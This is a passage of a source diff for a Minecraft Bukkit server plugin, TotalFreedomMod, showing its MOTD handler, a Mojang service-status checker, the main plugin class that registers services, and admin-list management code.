if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||
{
|
||||
event.setMotd(ChatColor.RED + "Server is closed.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (Bukkit.hasWhitelist())
|
||||
{
|
||||
event.setMotd(ChatColor.RED + "Whitelist enabled.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (Bukkit.getOnlinePlayers().size() >= Bukkit.getMaxPlayers())
|
||||
{
|
||||
event.setMotd(ChatColor.RED + "Server is full.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!ConfigEntry.SERVER_COLORFUL_MOTD.getBoolean())
|
||||
{
|
||||
event.setMotd(FUtil.colorize(ConfigEntry.SERVER_MOTD.getString()
|
||||
.replace("%mcversion%", plugin.si.getVersion())));
|
||||
return;
|
||||
}
|
||||
// Colorful MOTD
|
||||
|
||||
final StringBuilder motd = new StringBuilder();
|
||||
|
||||
for (String word : ConfigEntry.SERVER_MOTD.getString().replace("%mcversion%", plugin.si.getVersion()).split(" "))
|
||||
{
|
||||
motd.append(FUtil.randomChatColor()).append(word).append(" ");
|
||||
}
|
||||
|
||||
event.setMotd(FUtil.colorize(motd.toString()));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,234 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import com.google.common.collect.Maps;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Date;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Map.Entry;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
import org.json.simple.JSONArray;
|
||||
import org.json.simple.JSONObject;
|
||||
import org.json.simple.JSONValue;
|
||||
|
||||
public class ServiceChecker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
@Getter
|
||||
private final Map<String, ServiceStatus> services = Maps.newHashMap();
|
||||
//
|
||||
private BukkitTask task;
|
||||
private URL url = null;
|
||||
@Getter
|
||||
private String lastCheck = "Never";
|
||||
@Getter
|
||||
private String version = "Mojang";
|
||||
|
||||
public ServiceChecker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
|
||||
services.put("minecraft.net", new ServiceStatus("Minecraft.net"));
|
||||
services.put("account.mojang.com", new ServiceStatus("Mojang Account Website"));
|
||||
services.put("authserver.mojang.com", new ServiceStatus("Mojang Authentication"));
|
||||
services.put("sessionserver.mojang.com", new ServiceStatus("Mojang Multiplayer sessions"));
|
||||
services.put("skins.minecraft.net", new ServiceStatus("Minecraft Skins"));
|
||||
services.put("auth.mojang.com", new ServiceStatus("Mojang Authentiation (Legacy)"));
|
||||
services.put("session.minecraft.net", new ServiceStatus("Minecraft Sessions (Legacy)"));
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
final String serviceCheckerURL = ConfigEntry.SERVICE_CHECKER_URL.getString();
|
||||
|
||||
if (serviceCheckerURL == null || serviceCheckerURL.isEmpty())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
url = new URL(serviceCheckerURL);
|
||||
}
|
||||
catch (MalformedURLException ex)
|
||||
{
|
||||
FLog.severe("Invalid ServiceChecker URL, disabling service checker");
|
||||
return;
|
||||
}
|
||||
|
||||
task = getUpdateRunnable().runTaskTimerAsynchronously(TotalFreedomMod.plugin, 40L, TotalFreedomMod.SERVICE_CHECKER_RATE * 20L);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
try
|
||||
{
|
||||
task.cancel();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
task = null;
|
||||
}
|
||||
}
|
||||
|
||||
public BukkitRunnable getUpdateRunnable()
|
||||
{
|
||||
return new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
if (url == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final JSONArray statusJson;
|
||||
try
|
||||
{
|
||||
final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
|
||||
statusJson = (JSONArray) JSONValue.parse(in.readLine());
|
||||
in.close();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe("Error updating mojang services from " + url);
|
||||
FLog.severe(ex);
|
||||
return;
|
||||
}
|
||||
|
||||
final Iterator status = statusJson.iterator();
|
||||
while (status.hasNext())
|
||||
{
|
||||
final Iterator serviceIt = ((JSONObject) status.next()).entrySet().iterator();
|
||||
while (serviceIt.hasNext())
|
||||
{
|
||||
@SuppressWarnings("unchecked")
|
||||
final Entry<String, String> pair = (Entry<String, String>) serviceIt.next();
|
||||
|
||||
if ("lastcheck".equals(pair.getKey()))
|
||||
{
|
||||
lastCheck = pair.getValue();
|
||||
continue;
|
||||
}
|
||||
|
||||
if ("version".equals(pair.getKey()))
|
||||
{
|
||||
version = pair.getValue();
|
||||
continue;
|
||||
}
|
||||
|
||||
final ServiceStatus service = services.get(pair.getKey());
|
||||
if (service == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pair.getValue().contains(":"))
|
||||
{
|
||||
String[] statusString = pair.getValue().split(":");
|
||||
service.setColor(statusString[0]);
|
||||
service.setMessage(statusString[1]);
|
||||
service.setUptime(statusString[2]);
|
||||
}
|
||||
else
|
||||
{
|
||||
service.setColor(pair.getValue());
|
||||
service.setMessage(("red".equals(pair.getValue()) ? "Offline" : ("yellow".equals(pair.getValue()) ? "Problem" : "Online")));
|
||||
}
|
||||
}
|
||||
}
|
||||
if (lastCheck.equals("Unknown"))
|
||||
{
|
||||
lastCheck = FUtil.dateToString(new Date());
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public List<ServiceStatus> getAllStatuses()
|
||||
{
|
||||
List<ServiceStatus> servicesList = new ArrayList<ServiceStatus>();
|
||||
for (String key : services.keySet())
|
||||
{
|
||||
servicesList.add(services.get(key));
|
||||
}
|
||||
return servicesList;
|
||||
}
|
||||
|
||||
public class ServiceStatus
|
||||
{
|
||||
@Getter
|
||||
private final String name;
|
||||
@Getter
|
||||
@Setter
|
||||
private String uptime = "100.0"; // skins.minecraft.net, minecraft.net, etc..
|
||||
@Getter
|
||||
private ChatColor color = ChatColor.DARK_GREEN;
|
||||
@Getter
|
||||
@Setter
|
||||
private String message = "Online"; // Online, Offline, Quite Slow, 404 Error, 500 Error, etc..
|
||||
|
||||
public ServiceStatus(String name)
|
||||
{
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public float getUptimeFloat()
|
||||
{
|
||||
return Float.parseFloat(uptime);
|
||||
}
|
||||
|
||||
public ChatColor getUptimeColor()
|
||||
{
|
||||
return (getUptimeFloat() > 95 ? ChatColor.GREEN : (getUptimeFloat() > 90 ? ChatColor.GOLD : ChatColor.RED));
|
||||
}
|
||||
|
||||
public String getFormattedStatus()
|
||||
{
|
||||
String status = ChatColor.BLUE + "- " + ChatColor.GRAY + name + ChatColor.WHITE + ": " + color + message + ChatColor.WHITE;
|
||||
|
||||
if (!version.contains("Mojang"))
|
||||
{
|
||||
status += " (" + getUptimeColor() + getUptime() + ChatColor.WHITE + "%)";
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
public void setColor(String color)
|
||||
{
|
||||
if ("green".equals(color))
|
||||
{
|
||||
this.color = ChatColor.DARK_GREEN;
|
||||
}
|
||||
else if ("yellow".equals(color))
|
||||
{
|
||||
this.color = ChatColor.YELLOW;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.color = ChatColor.RED;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,261 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.blocking.MobBlocker;
|
||||
import me.totalfreedom.totalfreedommod.banning.PermbanList;
|
||||
import me.totalfreedom.totalfreedommod.fun.Jumppads;
|
||||
import me.totalfreedom.totalfreedommod.fun.MP44;
|
||||
import me.totalfreedom.totalfreedommod.fun.ItemFun;
|
||||
import me.totalfreedom.totalfreedommod.blocking.InteractBlocker;
|
||||
import me.totalfreedom.totalfreedommod.blocking.EventBlocker;
|
||||
import me.totalfreedom.totalfreedommod.blocking.BlockBlocker;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.Properties;
|
||||
import me.totalfreedom.totalfreedommod.admin.AdminList;
|
||||
import me.totalfreedom.totalfreedommod.banning.BanManager;
|
||||
import me.totalfreedom.totalfreedommod.bridge.BukkitTelnetBridge;
|
||||
import me.totalfreedom.totalfreedommod.bridge.EssentialsBridge;
|
||||
import me.totalfreedom.totalfreedommod.bridge.WorldEditBridge;
|
||||
import me.totalfreedom.totalfreedommod.caging.Cager;
|
||||
import me.totalfreedom.totalfreedommod.blocking.command.CommandBlocker;
|
||||
import me.totalfreedom.totalfreedommod.commands.CommandLoader;
|
||||
import me.totalfreedom.totalfreedommod.freeze.Freezer;
|
||||
import me.totalfreedom.totalfreedommod.fun.Landminer;
|
||||
import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon;
|
||||
import me.totalfreedom.totalfreedommod.rank.RankManager;
|
||||
import me.totalfreedom.totalfreedommod.player.PlayerList;
|
||||
import me.totalfreedom.totalfreedommod.rollback.RollbackManager;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.world.WorldManager;
|
||||
import net.pravian.aero.component.service.ServiceManager;
|
||||
import net.pravian.aero.plugin.AeroPlugin;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.mcstats.Metrics;
|
||||
|
||||
public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
|
||||
{
|
||||
public static final long SERVICE_CHECKER_RATE = 120L;
|
||||
public static final int MAX_USERNAME_LENGTH = 20;
|
||||
//
|
||||
public static final String CONFIG_FILENAME = "config.yml";
|
||||
public static final String SUPERADMIN_FILENAME = "superadmin.yml";
|
||||
public static final String PERMBAN_FILENAME = "permban.yml";
|
||||
public static final String UUID_FILENAME = "uuids.db";
|
||||
public static final String PROTECTED_AREA_FILENAME = "protectedareas.dat";
|
||||
public static final String SAVED_FLAGS_FILENAME = "savedflags.dat";
|
||||
//
|
||||
public static final BuildProperties build = new BuildProperties();
|
||||
//
|
||||
@SuppressWarnings("FieldNameHidesFieldInSuperclass")
|
||||
public static TotalFreedomMod plugin;
|
||||
public static String pluginName;
|
||||
public static String pluginVersion;
|
||||
//
|
||||
public static boolean lockdownEnabled = false;
|
||||
//
|
||||
// Services
|
||||
public ServiceManager<TotalFreedomMod> services;
|
||||
public ServerInterface si;
|
||||
public ConsoleLogger co;
|
||||
public WorldManager wm;
|
||||
public AdminList al;
|
||||
public EventBlocker eb;
|
||||
public BlockBlocker bb;
|
||||
public MobBlocker mb;
|
||||
public InteractBlocker ib;
|
||||
public LoginProcess lp;
|
||||
public AntiNuke nu;
|
||||
public AntiSpam as;
|
||||
public Muter mu;
|
||||
public RankManager rm;
|
||||
public BanManager bm;
|
||||
public PlayerList pl;
|
||||
public CommandLoader cl;
|
||||
public CommandBlocker cb;
|
||||
public Announcer an;
|
||||
public PermbanList pb;
|
||||
public ProtectArea pa;
|
||||
public ServiceChecker sc;
|
||||
public GameRuleHandler gr;
|
||||
public RollbackManager rb;
|
||||
public Jumppads jp;
|
||||
public Cager ca;
|
||||
public Freezer fm;
|
||||
public Fuckoff fo;
|
||||
public EntityWiper ew;
|
||||
public FrontDoor fd;
|
||||
public ServerPing sp;
|
||||
public ItemFun it;
|
||||
public Landminer lm;
|
||||
public MP44 mp;
|
||||
public HTTPDaemon hd;
|
||||
//
|
||||
// Bridges
|
||||
public ServiceManager<TotalFreedomMod> bridges;
|
||||
public BukkitTelnetBridge btb;
|
||||
public EssentialsBridge esb;
|
||||
public WorldEditBridge web;
|
||||
|
||||
@Override
|
||||
public void load()
|
||||
{
|
||||
TotalFreedomMod.plugin = this;
|
||||
TotalFreedomMod.pluginName = plugin.getDescription().getName();
|
||||
TotalFreedomMod.pluginVersion = plugin.getDescription().getVersion();
|
||||
|
||||
FLog.setPluginLogger(plugin.getLogger());
|
||||
FLog.setServerLogger(server.getLogger());
|
||||
|
||||
build.load();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable()
|
||||
{
|
||||
TotalFreedomMod.plugin = this;
|
||||
|
||||
FLog.info("Created by Madgeek1450 and Prozza");
|
||||
FLog.info("Version " + build.formattedVersion());
|
||||
FLog.info("Compiled " + build.date + " by " + build.builder);
|
||||
|
||||
final FUtil.MethodTimer timer = new FUtil.MethodTimer();
|
||||
timer.start();
|
||||
|
||||
if (!ServerInterface.COMPILE_NMS_VERSION.equals(FUtil.getNmsVersion()))
|
||||
{
|
||||
FLog.warning(pluginName + " is compiled for " + ServerInterface.COMPILE_NMS_VERSION + " but the server is running "
|
||||
+ "version " + FUtil.getNmsVersion() + "!");
|
||||
FLog.warning("This might result in unexpected behaviour!");
|
||||
}
|
||||
|
||||
FUtil.deleteCoreDumps();
|
||||
FUtil.deleteFolder(new File("./_deleteme"));
|
||||
|
||||
// Create backups
|
||||
FUtil.createBackups(CONFIG_FILENAME, true);
|
||||
FUtil.createBackups(SUPERADMIN_FILENAME);
|
||||
FUtil.createBackups(PERMBAN_FILENAME);
|
||||
|
||||
// Start services and bridgess
|
||||
services = new ServiceManager<TotalFreedomMod>(plugin);
|
||||
si = services.registerService(ServerInterface.class);
|
||||
co = services.registerService(ConsoleLogger.class);
|
||||
wm = services.registerService(WorldManager.class);
|
||||
al = services.registerService(AdminList.class);
|
||||
eb = services.registerService(EventBlocker.class);
|
||||
bb = services.registerService(BlockBlocker.class);
|
||||
mb = services.registerService(MobBlocker.class);
|
||||
ib = services.registerService(InteractBlocker.class);
|
||||
lp = services.registerService(LoginProcess.class);
|
||||
nu = services.registerService(AntiNuke.class);
|
||||
as = services.registerService(AntiSpam.class);
|
||||
mu = services.registerService(Muter.class);
|
||||
rm = services.registerService(RankManager.class);
|
||||
bm = services.registerService(BanManager.class);
|
||||
pl = services.registerService(PlayerList.class);
|
||||
cl = services.registerService(CommandLoader.class);
|
||||
cb = services.registerService(CommandBlocker.class);
|
||||
an = services.registerService(Announcer.class);
|
||||
pb = services.registerService(PermbanList.class);
|
||||
pa = services.registerService(ProtectArea.class);
|
||||
sc = services.registerService(ServiceChecker.class);
|
||||
gr = services.registerService(GameRuleHandler.class);
|
||||
rb = services.registerService(RollbackManager.class);
|
||||
jp = services.registerService(Jumppads.class);
|
||||
ca = services.registerService(Cager.class);
|
||||
fm = services.registerService(Freezer.class);
|
||||
fo = services.registerService(Fuckoff.class);
|
||||
ew = services.registerService(EntityWiper.class);
|
||||
fd = services.registerService(FrontDoor.class);
|
||||
sp = services.registerService(ServerPing.class);
|
||||
it = services.registerService(ItemFun.class);
|
||||
lm = services.registerService(Landminer.class);
|
||||
mp = services.registerService(MP44.class);
|
||||
hd = services.registerService(HTTPDaemon.class);
|
||||
services.start();
|
||||
|
||||
// Register bridges
|
||||
bridges = new ServiceManager<TotalFreedomMod>(plugin);
|
||||
btb = bridges.registerService(BukkitTelnetBridge.class);
|
||||
esb = bridges.registerService(EssentialsBridge.class);
|
||||
web = bridges.registerService(WorldEditBridge.class);
|
||||
bridges.start();
|
||||
|
||||
timer.update();
|
||||
|
||||
FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms");
|
||||
|
||||
// Metrics @ http://mcstats.org/plugin/TotalFreedomMod
|
||||
try
|
||||
{
|
||||
final Metrics metrics = new Metrics(plugin);
|
||||
metrics.start();
|
||||
}
|
||||
catch (IOException ex)
|
||||
{
|
||||
FLog.warning("Failed to submit metrics data: " + ex.getMessage());
|
||||
}
|
||||
|
||||
// Add spawnpoints later - https://github.com/TotalFreedom/TotalFreedomMod/issues/438
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
plugin.pa.autoAddSpawnpoints();
|
||||
}
|
||||
}.runTaskLater(plugin, 60L);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable()
|
||||
{
|
||||
// Stop services and bridges
|
||||
services.stop();
|
||||
bridges.stop();
|
||||
|
||||
server.getScheduler().cancelTasks(plugin);
|
||||
|
||||
FLog.info("Plugin disabled");
|
||||
TotalFreedomMod.plugin = null;
|
||||
}
|
||||
|
||||
public static class BuildProperties
|
||||
{
|
||||
public String builder;
|
||||
public String number;
|
||||
public String head;
|
||||
public String date;
|
||||
|
||||
public void load()
|
||||
{
|
||||
try
|
||||
{
|
||||
final InputStream in = plugin.getResource("build.properties");
|
||||
|
||||
final Properties props = new Properties();
|
||||
props.load(in);
|
||||
in.close();
|
||||
|
||||
builder = props.getProperty("program.builder", "unknown");
|
||||
number = props.getProperty("program.buildnumber", "1");
|
||||
head = props.getProperty("program.buildhead", "unknown");
|
||||
date = props.getProperty("program.builddate", "unknown");
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe("Could not load build properties! Did you compile with Netbeans/ANT?");
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
public String formattedVersion()
|
||||
{
|
||||
return pluginVersion + "." + number + " (" + head + ")";
|
||||
}
|
||||
}
|
||||
|
||||
}
|
145
src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java
Normal file
145
src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java
Normal file
@ -0,0 +1,145 @@
|
||||
package me.totalfreedom.totalfreedommod.admin;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.base.ConfigLoadable;
|
||||
import net.pravian.aero.base.ConfigSavable;
|
||||
import net.pravian.aero.base.Validatable;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.Validate;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class Admin implements ConfigLoadable, ConfigSavable, Validatable
|
||||
{
|
||||
@Getter
|
||||
private String configKey;
|
||||
@Getter
|
||||
@Setter
|
||||
private String name;
|
||||
@Getter
|
||||
@Setter
|
||||
private boolean activated = true;
|
||||
@Getter
|
||||
@Setter
|
||||
private PlayerRank rank = PlayerRank.SUPER_ADMIN;
|
||||
@Getter
|
||||
private final List<String> ips = Lists.newArrayList();
|
||||
@Getter
|
||||
@Setter
|
||||
private Date lastLogin = new Date();
|
||||
@Getter
|
||||
@Setter
|
||||
private String loginMessage = null;
|
||||
|
||||
public Admin(Player player)
|
||||
{
|
||||
this.configKey = player.getName().toLowerCase();
|
||||
this.name = player.getName();
|
||||
this.ips.add(Ips.getIp(player));
|
||||
}
|
||||
|
||||
public Admin(String configKey)
|
||||
{
|
||||
this.configKey = configKey;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString()
|
||||
{
|
||||
final StringBuilder output = new StringBuilder();
|
||||
|
||||
output.append("Admin: ").append(name).append("\n")
|
||||
.append("- Last Login Name: ").append(name).append("\n")
|
||||
.append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n")
|
||||
.append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n")
|
||||
.append("- Custom Login Message: ").append(loginMessage).append("\n")
|
||||
.append("- Rank: ").append(rank.getName()).append("\n")
|
||||
.append("- Is Activated: ").append(activated);
|
||||
|
||||
return output.toString();
|
||||
}
|
||||
|
||||
public void loadFrom(Player player)
|
||||
{
|
||||
configKey = player.getName().toLowerCase();
|
||||
name = player.getName();
|
||||
ips.clear();
|
||||
ips.add(Ips.getIp(player));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void loadFrom(ConfigurationSection cs)
|
||||
{
|
||||
name = cs.getString("username", configKey);
|
||||
activated = cs.getBoolean("active", true);
|
||||
rank = PlayerRank.forString(cs.getString("rank"));
|
||||
ips.clear();
|
||||
ips.addAll(cs.getStringList("ips"));
|
||||
lastLogin = FUtil.stringToDate(cs.getString("last_login"));
|
||||
loginMessage = cs.getString("login_message", null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void saveTo(ConfigurationSection cs)
|
||||
{
|
||||
Validate.isTrue(isValid(), "Could not save admin entry: " + name + ". Entry not valid!");
|
||||
cs.set("username", name);
|
||||
cs.set("active", activated);
|
||||
cs.set("rank", rank.toString());
|
||||
cs.set("ips", Lists.newArrayList(ips));
|
||||
cs.set("last_login", lastLogin);
|
||||
cs.set("login_message", null);
|
||||
}
|
||||
|
||||
public boolean isMinimum(PlayerRank pRank)
|
||||
{
|
||||
return rank.ordinal() >= pRank.ordinal();
|
||||
}
|
||||
|
||||
// Util IP methods
|
||||
public void addIp(String ip)
|
||||
{
|
||||
if (!ips.contains(ip))
|
||||
{
|
||||
ips.add(ip);
|
||||
}
|
||||
}
|
||||
|
||||
public void addIps(List<String> ips)
|
||||
{
|
||||
for (String ip : ips)
|
||||
{
|
||||
addIp(ip);
|
||||
}
|
||||
}
|
||||
|
||||
public void removeIp(String ip)
|
||||
{
|
||||
if (ips.contains(ip))
|
||||
{
|
||||
ips.remove(ip);
|
||||
}
|
||||
}
|
||||
|
||||
public void clearIPs()
|
||||
{
|
||||
ips.clear();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isValid()
|
||||
{
|
||||
return configKey != null
|
||||
&& name != null
|
||||
&& rank != null
|
||||
&& !ips.isEmpty()
|
||||
&& lastLogin != null;
|
||||
}
|
||||
}
|
@ -0,0 +1,437 @@
|
||||
package me.totalfreedom.totalfreedommod.admin;
|
||||
|
||||
import com.google.common.base.Function;
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.commands.Command_logs;
|
||||
import me.totalfreedom.totalfreedommod.config.FConfig;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerJoinEvent;
|
||||
import org.bukkit.plugin.ServicePriority;
|
||||
|
||||
public class AdminList extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
@Getter
|
||||
private final Map<String, Admin> allAdmins = Maps.newHashMap(); // Includes disabled admins
|
||||
// Only active admins below
|
||||
@Getter
|
||||
private final Set<Admin> activeAdmins = Sets.newHashSet();
|
||||
private final Map<String, Admin> nameTable = Maps.newHashMap();
|
||||
private final Map<String, Admin> ipTable = Maps.newHashMap();
|
||||
//
|
||||
private int cleanThreshold = 24 * 7; // 1 Week in hours
|
||||
private final FConfig config;
|
||||
|
||||
public AdminList(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
|
||||
this.config = new FConfig(TotalFreedomMod.plugin, TotalFreedomMod.SUPERADMIN_FILENAME, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
load();
|
||||
|
||||
server.getServicesManager().register(Function.class, new Function<Player, Boolean>()
|
||||
{
|
||||
@Override
|
||||
public Boolean apply(Player player)
|
||||
{
|
||||
return isAdmin(player);
|
||||
}
|
||||
}, plugin, ServicePriority.Normal);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
save();
|
||||
}
|
||||
|
||||
public void load()
|
||||
{
|
||||
config.load();
|
||||
|
||||
allAdmins.clear();
|
||||
for (String key : config.getKeys(false))
|
||||
{
|
||||
Admin admin = new Admin(key);
|
||||
admin.loadFrom(config.getConfigurationSection(key));
|
||||
|
||||
if (!admin.isValid())
|
||||
{
|
||||
FLog.warning("Could not load admin: " + key + ". Missing details!");
|
||||
continue;
|
||||
}
|
||||
|
||||
allAdmins.put(key, admin);
|
||||
}
|
||||
|
||||
updateTables();
|
||||
FLog.info("Loaded " + nameTable.size() + " admins (" + nameTable.size() + " active) and " + ipTable.size() + " IPs.");
|
||||
}
|
||||
|
||||
public void save()
|
||||
{
|
||||
// Clear the config
|
||||
for (String key : config.getKeys(false))
|
||||
{
|
||||
config.set(key, null);
|
||||
}
|
||||
|
||||
for (Admin admin : allAdmins.values())
|
||||
{
|
||||
admin.saveTo(config.createSection(admin.getConfigKey()));
|
||||
}
|
||||
|
||||
config.save();
|
||||
}
|
||||
|
||||
public void save(Admin admin)
|
||||
{
|
||||
if (!allAdmins.values().contains(admin))
|
||||
{ // Ensure admin is present
|
||||
addAdmin(admin, false);
|
||||
}
|
||||
|
||||
admin.saveTo(config.createSection(admin.getConfigKey()));
|
||||
config.save();
|
||||
}
|
||||
|
||||
public synchronized boolean isAdminSync(CommandSender sender)
|
||||
{
|
||||
return isAdmin(sender);
|
||||
}
|
||||
|
||||
public boolean isAdmin(CommandSender sender)
|
||||
{
|
||||
if (!(sender instanceof Player))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
return getAdmin((Player) sender) != null;
|
||||
}
|
||||
|
||||
public boolean isSeniorAdmin(CommandSender sender)
|
||||
{
|
||||
Admin admin = getAdmin(sender);
|
||||
if (admin == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return admin.getRank().ordinal() >= PlayerRank.SENIOR_ADMIN.ordinal();
|
||||
}
|
||||
|
||||
public Admin getAdmin(CommandSender sender)
|
||||
{
|
||||
if (sender instanceof Player)
|
||||
{
|
||||
return getAdmin((Player) sender);
|
||||
}
|
||||
|
||||
return getEntryByName(sender.getName());
|
||||
}
|
||||
|
||||
public Admin getAdmin(Player player)
|
||||
{
|
||||
String ip = Ips.getIp(player);
|
||||
Admin admin = getEntryByIp(ip, true);
|
||||
|
||||
if (admin == null && Bukkit.getOnlineMode())
|
||||
{
|
||||
admin = getEntryByName(player.getName());
|
||||
|
||||
// Add new IP
|
||||
if (admin != null)
|
||||
{
|
||||
admin.addIp(ip);
|
||||
save(admin);
|
||||
}
|
||||
}
|
||||
|
||||
return admin;
|
||||
}
|
||||
|
||||
public Admin getEntryByName(String name)
|
||||
{
|
||||
return nameTable.get(name.toLowerCase());
|
||||
}
|
||||
|
||||
public Admin getEntryByIp(String ip)
|
||||
{
|
||||
return getEntryByIp(ip, false);
|
||||
}
|
||||
|
||||
public Admin getEntryByIp(String needleIp, boolean fuzzy)
|
||||
{
|
||||
Admin admin = ipTable.get(needleIp);
|
||||
|
||||
if (admin != null || !fuzzy)
|
||||
{
|
||||
return admin;
|
||||
}
|
||||
|
||||
for (String ip : ipTable.keySet())
|
||||
{
|
||||
if (FUtil.fuzzyIpMatch(needleIp, ip, 3))
|
||||
{
|
||||
return ipTable.get(ip);
|
||||
}
|
||||
}
|
||||
return admin;
|
||||
}
|
||||
|
||||
public void updateLastLogin(Player player)
|
||||
{
|
||||
final Admin admin = getAdmin(player);
|
||||
if (admin == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
admin.setLastLogin(new Date());
|
||||
admin.setName(player.getName());
|
||||
save(admin);
|
||||
}
|
||||
|
||||
public boolean isAdminImpostor(Player player)
|
||||
{
|
||||
return getEntryByName(player.getName()) != null && !isAdmin(player);
|
||||
}
|
||||
|
||||
public boolean isIdentityMatched(Player player)
|
||||
{
|
||||
if (Bukkit.getOnlineMode())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
Admin admin = getAdmin(player);
|
||||
return admin == null ? false : admin.getName().equalsIgnoreCase(player.getName());
|
||||
}
|
||||
|
||||
public boolean addAdmin(Admin admin)
|
||||
{
|
||||
return addAdmin(admin, false);
|
||||
}
|
||||
|
||||
public boolean addAdmin(Admin admin, boolean overwrite)
|
||||
{
|
||||
final String key = admin.getConfigKey();
|
||||
|
||||
if (!overwrite && allAdmins.containsKey(key))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Store admin, update views
|
||||
allAdmins.put(key, admin);
|
||||
updateTables();
|
||||
|
||||
// Save admin
|
||||
admin.saveTo(config.createSection(key));
|
||||
config.save();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public boolean removeAdmin(Admin admin)
|
||||
{
|
||||
|
||||
// Remove admin, update views
|
||||
